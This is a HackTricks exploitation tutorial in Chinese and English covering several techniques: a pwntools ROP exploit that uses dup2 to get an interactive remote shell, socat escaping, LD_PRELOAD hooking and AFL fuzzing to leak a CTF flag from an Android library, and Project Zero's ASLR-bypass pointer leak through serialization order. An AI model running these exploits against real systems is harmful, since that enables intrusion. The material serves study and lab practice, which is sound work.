Common Exploiting Problems
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
FDs in Remote Exploitation
当向远程服务器发送一个 exploit(例如会调用 system('/bin/sh'))时,这将会在服务器进程中执行,/bin/sh 会从 stdin (FD: 0) 接收输入,并把输出写到 stdout 和 stderr (FDs 1 和 2)。因此,攻击者无法与 shell 交互。
一种解决方法是假设服务器启动时创建了 FD number 3(用于监听),然后你的连接会落在 FD number 4。因此,可以使用 syscall dup2 将 stdin (FD 0) 和 stdout (FD 1) 复制到 FD 4(即攻击者连接的那个),这样在 shell 被执行后就能与之通信。
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
请注意,socat 已经将 stdin 和 stdout 转发到 socket。然而,pty 模式会 包含 DELETE 字符。因此,如果你发送一个 \x7f(DELETE),它会 删除你 exploit 的前一个字符。
为绕过此问题,必须在发送的任何 \x7f 前加上转义字符 \x16。
你可以在这里 find an example of this behaviour.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
当 Android 应用仅随附一个被 strip 的 AArch64 .so 时,你仍然可以在设备上直接 fuzz 导出的逻辑,而无需重建 APK。一个实用的工作流程:
- 定位可调用的入口点。
objdump -T libvalidate.so | grep -E "validate"会快速列出导出函数。反编译器(Ghidra, IDA, BN)会揭示真实的签名,例如int validate(const uint8_t *buf, uint64_t len)。 - 编写一个独立的 harness。 加载一个文件,保持 buffer 存活,并像应用那样精确调用导出的符号。使用 NDK 交叉编译(例如
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie)。
最小的基于文件的 harness
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **重建期望的结构。** Ghidra 中的错误字符串和比较表明该函数解析严格的 JSON,具有常量键(`magic`、`version`、嵌套的 `root.children.*`)并执行算术校验(例如,`value * 2 == 84` ⇒ `value` 必须为 `42`)。通过提供语法上有效且逐步满足各分支的 JSON,可以在不进行插桩的情况下映射出其 schema。
4. **绕过 anti-debug 以 leak secrets。** 因为 `.so` 导入了 `snprintf`,可使用 `LD_PRELOAD` 覆盖它,以便在断点被阻止时导出敏感的格式字符串:
<details>
<summary>最小化的 snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json 会泄露内部 flag,并在不修补二进制的情况下确认 crash oracle。
5. 缩小 fuzz 范围。反汇编显示在 flag 比较中重复使用了一个 XOR key,这意味着 flag 的前七个字节已知。只对九个未知字节进行 fuzz。
6. 将 fuzz 字节嵌入到有效的 JSON 包装中。AFL harness 从 stdin 精确读取九个字节,将其复制到 flag 后缀,并将所有其他字段写死(常量、树深度、算术原像)。任何格式错误的读取都会直接退出,因此 AFL 会把周期花在有意义的测试用例上:
Minimal AFL harness
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** 任何满足所有语义检查并猜中正确九字节后缀的输入都会触发故意崩溃;这些文件会落到 `output/crashes`,并可以通过简单的 harness 重放以恢复秘密。
这个工作流允许你快速对带有 anti-debug 保护的 JNI validators 进行 triage,在需要时 leak secrets,然后只对有意义的字节进行 fuzz,整个过程无需接触原始 APK。
## 图像/媒体 解析 Exploits (DNG/TIFF/JPEG)
恶意相机格式通常会随附它们自己的 bytecode(opcode 列表、map 表、tone 曲线)。当特权 decoder 未能对来自 metadata 的尺寸或 plane 索引进行边界检查时,这些 opcode 就会变成攻击者可控的读/写 原语(read/write primitives),可用于整理 heap、pivot 指针,甚至 leak ASLR。Samsung 在野外出现的 Quram exploit 是一个最近的例子:链式利用 `DeltaPerColumn` bounds bug、通过跳过的 opcode 进行 heap spraying、vtable 重映射,以及一条 JOP 链到 `system()`。
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
### 要求与攻击面
- 一个服务接受攻击者控制的 property lists(XML 或 binary),并以宽松的 allowlist 调用 `NSKeyedUnarchiver.unarchivedObjectOfClasses`(例如 `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`)。
- 生成的对象被重用,随后再次使用 `NSKeyedArchiver` 序列化(或按确定性的 bucket 顺序迭代),并被返回给攻击者。
- 容器中的某些 key 类型使用指针值作为其哈希码。在 2025 年 3 月之前,`CFNull`/`NSNull` 会回退到 `CFHash(object) == (uintptr_t)object`,并且反序列化总是返回 shared-cache 单例 `kCFNull`,从而在没有内存破坏或计时的情况下提供一个稳定的内核共享指针。
### 可控的哈希原语
- **Pointer-based hashing:** `CFNull` 的 `CFRuntimeClass` 缺少 hash 回调,因此 `CFBasicHash` 使用对象地址作为哈希。由于该单例在重启前驻留于固定的 shared-cache 地址,其哈希在进程间是稳定的。
- **Attacker-controlled hashes:** 32-bit 的 `NSNumber` keys 通过 `_CFHashInt` 进行哈希,该函数是确定性的并可被攻击者控制。选择特定整数允许攻击者对任意表大小选择 `hash(number) % num_buckets`。
- **`NSDictionary` implementation:** Immutable dictionaries 嵌入一个 `CFBasicHash`,其素数 bucket 数量从 `__CFBasicHashTableSizes` 中选择(例如 23, 41, 71, 127, 191, 251, 383, 631, 1087)。冲突由线性探测处理(`__kCFBasicHashLinearHashingValue`),序列化按数字顺序遍历 buckets;因此,序列化的 key 的顺序编码了每个 key 最终占据的 bucket 索引。
### 将 bucket 索引编码为序列化顺序
通过构造一个 plist,使其产生一个 buckets 在占用与空槽之间交替的字典,攻击者可以限制线性探测将 `NSNull` 放置的位置。对于 7 个 bucket 的示例,用 `NSNumber` keys 填充偶数 bucket 会产生:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
During deserialization the victim inserts the single NSNull key. Its initial bucket is hash(NSNull) % 7, but probing advances until hitting one of the open indices {1,3,5}. The serialized key order reveals which slot was used, disclosing whether the pointer hash modulo 7 lies in {6,0,1}, {2,3}, or {4,5}. Because the attacker controls the original serialized order, the NSNull key is emitted last in the input plist so the post-reserialization ordering is solely a function of bucket placement.
使用互补表确定精确余数
A single dictionary only leaks a range of residues. To determine the precise value of hash(NSNull) % p, build 两个 dictionaries per prime bucket size p: one with even buckets pre-filled and one with odd buckets pre-filled. For the complementary pattern (_ # _ # _ # _), the empty slots (0,2,4,6) map to residue sets {0}, {1,2}, {3,4}, {5,6}. Observing the serialized position of NSNull in both dictionaries narrows the residue to a single value because the intersection of the two candidate sets yields a unique r_i for that p.
The attacker bundles all dictionaries inside an NSArray, so a single deserialize → serialize round trip leaks residues for every chosen table size.
重构 64-bit shared-cache 指针
For each prime p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, the attacker recovers hash(NSNull) ≡ r_i (mod p_i) from the serialized ordering. Applying the Chinese Remainder Theorem (CRT) with the extended Euclidean algorithm yields:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
所以组合后的余数唯一地等于指向 kCFNull 的 64 位 pointer。Project Zero PoC 通过迭代地合并同余并打印中间模数来展示向真实地址收敛的过程(在易受攻击的构建上为 0x00000001eb91ab60)。
Practical workflow
- Generate crafted input: 构建攻击者端的 XML plist(每个 prime 两个字典,
NSNull最后序列化)并将其转换为二进制格式。
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Victim round trip: 受害服务使用
NSKeyedUnarchiver.unarchivedObjectOfClasses反序列化,允许的 classes 集合为{NSDictionary, NSArray, NSNumber, NSString, NSNull},随后立即用NSKeyedArchiver重新序列化。 - Residue extraction: 将返回的 plist 转回 XML 会显现字典键的顺序。像
extract-pointer.c这样的辅助工具读取对象表,确定单例NSNull的索引,将每对字典映射回其桶的余数,并求解 CRT 系统以恢复 shared-cache pointer。 - Verification (optional): 编译一个小型 Objective-C 辅助程序来打印
CFHash(kCFNull),以确认被 leak 的值与真实地址匹配。
不需要内存安全漏洞——只需观察 pointer-keyed structures 的序列化顺序,即可得到一个远程 ASLR bypass primitive。
Related pages
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
References
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


